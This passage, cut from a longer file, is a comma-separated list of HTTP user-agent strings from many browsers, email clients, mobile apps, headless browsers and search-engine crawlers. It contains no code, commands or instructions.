Chrome/42.0.2311.135 Safari/537.36", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.124 Safari/537.36", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.81 Safari/537.36", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/600.6.3 (KHTML, like Gecko) Version/7.1.6 Safari/537.85.15", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko", "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; Touch; MAARJS; rv:11.0) like Gecko", "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; Touch; MALNJS; rv:11.0) like Gecko", "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; Touch; MDDCJS; rv:11.0) like Gecko", "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.115 Safari/537.36", "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.101 Safari/537.36", "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.152 Safari/537.36 LBBROWSER", "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36", "Mozilla/5.0 (Windows NT 6.0; rv:38.0) Gecko/20100101 Firefox/38.0", "Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.94 AOL/9.7 AOLBuild/4343.4049.US Safari/537.36", "Mozilla/5.0 (Windows NT 6.0; WOW64; rv:39.0) Gecko/20100101 Firefox/39.0", "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.115 Safari/537.36", "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.90 Safari/537.36", "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36", "Mozilla/5.0 (Windows NT 6.1; rv:28.0) Gecko/20100101 Firefox/28.0", "Mozilla/5.0 (Windows NT 6.1; rv:31.0) Gecko/20100101 Firefox/31.0", "Mozilla/5.0 (Windows NT 6.1; rv:36.0) Gecko/20100101 Firefox/36.0", "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.13 Safari/537.36", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.101 Safari/537.36", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.146 Safari/537.36", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.94 AOL/9.7 AOLBuild/4343.4043.US Safari/537.36", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.101 Safari/537.36", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.122 Safari/537.36 SE 2.X MetaSr 1.0", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.99 Safari/537.36", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.118 Safari/537.36", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.154 Safari/537.36 LBBROWSER", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.132 Safari/537.36", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Maxthon/4.4.6.1000 Chrome/30.0.1599.101 Safari/537.36", "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0", "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0", "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; ASJB; ASJB; MAAU; rv:11.0) like Gecko", "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; BOIE9;ENUSSEM; rv:11.0) like Gecko", "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; MDDRJS; rv:11.0) like Gecko", "Mozilla/5.0 (Windows NT 6.2; Win64; x64; Trident/7.0; rv:11.0) like Gecko", "Mozilla/5.0 (Windows NT 6.2; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0", "Mozilla/5.0 (Windows NT 6.2; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0", "Mozilla/5.0 (Windows NT 6.3; Trident/7.0; Touch; TNJB; rv:11.0) like Gecko", "Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; MALNJS; rv:11.0) like Gecko", "Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; Touch; MAARJS; rv:11.0) like Gecko", "Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; Touch; MASMJS; rv:11.0) like Gecko", "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.104 Safari/537.36", "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.124 Safari/537.36", "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36", "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.130 Safari/537.36", "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Maxthon/4.4.6.2000 Chrome/30.0.1599.101 Safari/537.36", "Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; Touch; MAARJS; rv:11.0) like Gecko", "Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; Touch; rv:11.0) like Gecko", "Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (.NET CLR 3.5.30729)", "Mozilla/5.0 (X11; CrOS x86_64 6457.107.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.115 Safari/537.36", "Mozilla/5.0 (X11; CrOS x86_64 7077.95.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.90 Safari/537.36", "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0", "Mozilla/5.0 (X11; Linux i686; rv:40.0) Gecko/20100101 Firefox/40.0", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/33.0.0.0 Safari/534.24", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.76 Safari/537.36", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.102 Safari/537.36", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/37.0.2062.94 Chrome/37.0.2062.94 Safari/537.36", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.1.2", "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; en-en) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/603.3.8 (KHTML, like Gecko) Version/10.1.2 Safari/603.3.8", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.59.10 (KHTML, like Gecko) Version/5.1.9 Safari/534.59.10", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/E7FBAF", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10; rv:33.0) Gecko/20100101 Firefox/33.0", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.8 (KHTML, like Gecko)", "Mac OS X/10.6.8 (10K549); ExchangeWebServices/1.3 (61); Mail/4.6 (1085)", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7", "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_4; de-de) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.2 Safari/525.20.1", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/600.8.9 (KHTML, like Gecko)", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/601.7.8 (KHTML, like Gecko) Version/9.1.3 Safari/537.86.7", "MacOutlook/0.0.0.150815 (Intel Mac OS X Version 10.10.5 (Build 14F27))", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:28.0) Gecko/20100101 Firefox/28.0", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:34.0) Gecko/20100101 Firefox/34.0", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:46.0) Gecko/20100101 Firefox/46.0", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:44.0) Gecko/20100101 Firefox/44.0", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:51.0) Gecko/20100101 Firefox/51.0", "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.4; en-US; rv:1.9.0.5) Gecko/2008120121 Firefox/3.0.5", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.124 Safari/537.36", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:52.0) Gecko/20100101 Firefox/52.0", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:38.0) Gecko/20100101 Firefox/38.0", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36", "Mozilla/5.0 CK={} (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36", "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/18.17763", "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; KTXN)", "Mozilla/5.0 (Windows NT 5.1; rv:7.0.1) Gecko/20100101 Firefox/7.0.1", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)", "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0", "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1", "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36", "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)", "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko", "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)", "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36", "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; 125LA; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.18362", "Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)", "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.71 Safari/537.36", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.83 Safari/537.1", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36 Edge/14.14393", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36", "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.18363", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36 Edg/87.0.664.75", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36", "Mozilla/5.0 (Windows NT 5.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36", "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36", "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36 Edge/15.15063", "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36", "Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; rv:11.0) like Gecko", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36", "Mozilla/5.0 (Windows NT 5.1; rv:36.0) Gecko/20100101 Firefox/36.0", "Mozilla/5.0 (Windows NT 5.1; rv:11.0) Gecko Firefox/11.0 (via ggpht.com GoogleImageProxy)", "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)", "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)", "Mozilla/5.0 (compatible; MJ12bot/v1.4.5; http://www.majestic12.co.uk/bot.php?+)", "Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)", "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)", "Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1) VoilaBot BETA 1.2 (support.voilabot@orange-ftgroup.com)", "Mozilla/5.0 (Linux; Android 7.0;) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; PetalBot;+https://aspiegel.com/petalbot)", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.75 Safari/537.36 Google Favicon", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36", "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:24.0) Gecko/20100101 Firefox/24.0", "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.5) Gecko/20041107 Firefox/1.0", "Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/71.0.3578.141 Safari/534.24 XiaoMi/MiuiBrowser/12.4.3-g", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/69.0.3497.81 Safari/537.36", "Mozilla/5.0 (X11; Linux x86_64; rv:12.0) Gecko/20100101 Firefox/12.0", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.89 Safari/537.36", "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.1) Gecko/20060124 Firefox/1.5.0.1", "Mozilla/5.0 (X11; Linux x86_64; rv:67.0) Gecko/20100101 Firefox/67.0", "Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/53.0.2785.143 Chrome/53.0.2785.143 Safari/537.36", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.72 Safari/537.36", "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:46.0) Gecko/20100101 Firefox/46.0", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/80.0.3987.87 Chrome/80.0.3987.87 Safari/537.36", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.109 Safari/537.36", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.109 Safari/537.36", "Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/37.0.2062.120 Chrome/37.0.2062.120 Safari/537.36", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.116 Safari/537.36", "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:53.0) Gecko/20100101 Firefox/53.0", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/76.0.3809.100 Chrome/76.0.3809.100 Safari/537.36", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/49.0.2623.108 Chrome/49.0.2623.108 Safari/537.36", "Wget/1.17.1 (linux-gnu)", "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:44.0) Gecko/20100101 Firefox/44.0", "Mozilla/5.0 (X11; Linux x86_64; rv:33.0) Gecko/20100101 Firefox/33.0", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.101 Safari/537.36", "Mozilla/5.0 (X11; Linux x86_64; rv:41.0) Gecko/20100101 Firefox/41.0", "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:10.0) Gecko/20100101 Firefox/10.0", "Mozilla/5.0 (X11; Linux x86_64; rv:37.0) Gecko/20100101 Firefox/37.0", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/79.0.3945.0 Safari/537.36", "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:59.0) Gecko/20100101 Firefox/59.0", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.62 Safari/537.36", "Mozilla/5.0 (SMART-TV; Linux; Tizen 5.0) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/2.2 Chrome/63.0.3239.84 TV Safari/537.36", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/70.0.3538.77 Chrome/70.0.3538.77 Safari/537.36", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36", "Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.2.3) Gecko/20100423 Ubuntu/10.04 (lucid) Firefox/3.6.3", "Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.172 Safari/537.22", "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:63.0) Gecko/20100101 Firefox/63.0", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.59 Safari/537.36", "Mozilla/5.0 (X11; Linux x86_64; rv:70.0) Gecko/20100101 Firefox/70.0", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/76.0.3809.87 Safari/537.36", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/68.0.3419.0 Safari/537.36", "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:87.0) Gecko/20100101 Firefox/87.0", "Mozilla/5.0 (X11; Linux x86_64; rv:43.0) Gecko/20100101 Firefox/43.0", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/52.0.2743.116 Chrome/52.0.2743.116 Safari/537.36", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.183 Safari/537.36 Vivaldi/1.96.1137.3", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.122 Safari/537.36", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36 http://notifyninja.com/monitoring", "Mozilla/5.0 (X11; Linux x86_64; rv:66.0) Gecko/20100101 Firefox/66.0", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.76 Safari/537.36", "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Thunderbird/45.8.0", "WirtschaftsWoche-iOS-1.1.14-20200824.1315", "[FBAN/FB4A;FBAV/222.0.0.48.113;FBBV/155323366;FBDM/{density=2.0,width=720,height=1360};FBLC/sr_RS;FBRV/156625696;FBCR/mt:s;FBMF/HUAWEI;FBBD/HUAWEI;FBPN/com.facebook.katana;FBDV/LDN-L21;FBSV/8.0.0;FBOP/19;FBCA/armeabi-v7a:armeabi;]", "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:60.0) Gecko/20100101 Thunderbird/60.7.0 Lightning/6.2.7", "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MAAR; .NET4.0C; .NET4.0E; BRI/2)", "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; McAfee; MAARJS)", "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; MAARJS; rv:11.0) like Gecko", "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; eSobiSubscriber 2.0.4.16; MAAR)", "Outlook-Express/7.0 (MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; eSobiSubscriber 1.0.0.40; BRI/2; MAAR; .NET CLR 1.1.4322; TmstmpExt)", "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MAAR; InfoPath.1; .NET4.0C; OfficeLiveConnector.1.5; OfficeLivePatch.1.3; .NET4.0E)", "DoCoMo/2.0 P903i(c100;TB;W24H12)", "DoCoMo/2.0 P903i", "DoCoMo/2.0 SH10C(c500;TB;W16H12)", "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; MAFS; Microsoft Outlook 14.0.7162; ms-office; MSOffice 14)", "HTC-3100/1.2 Mozilla/4.0 (compatible; MSIE 5.5; Windows CE; Smartphone; 240x320) UP.Link/6.3.0.0.0", "HTC-3100/1.2 Mozilla/4.0 (compatible; MSIE 5.5; Windows CE; Smartphone; 240x320)", "com.mobile.indiapp 2.0.5.5 phone HTC7088 android 16 fa zz normal long high 540 960", "Mogujie4Android/NAMhuawei/1290", "Mozilla/5.0 (Linux; Android 10; AGR-AL09HN Build/HUAWEIAGR-AL09HN; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/78.0.3904.108 Safari/537.36", "Mozilla/5.0 (Linux; Android 10; ANA-LX9 Build/HUAWEIANA-L29; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/78.0.3904.108 Mobile Safari/537.36", "Mozilla/5.0 (Linux; U; Android; 2.3.8; sv-se; Nexus 1 Build/HUAWEI_X3) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1", "Mozilla/5.0 (Android; 4.0.4; Mobile; Huawei X3; rv:13.0) Gecko/13.0 Firefox/13.0", "Mozilla/5.0 (Android; Mobile Huawei X3; rv:13.0) Gecko/13.0 Firefox/13.0", "Mozilla/5.0 (Linux; U; Android; 2.3.7; sv-se; Nexus 0 Build/HUAWEIX3) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Safari/533.1", "Mozilla/5.0 (Linux; U; Android; 2.3.8; sv-se; 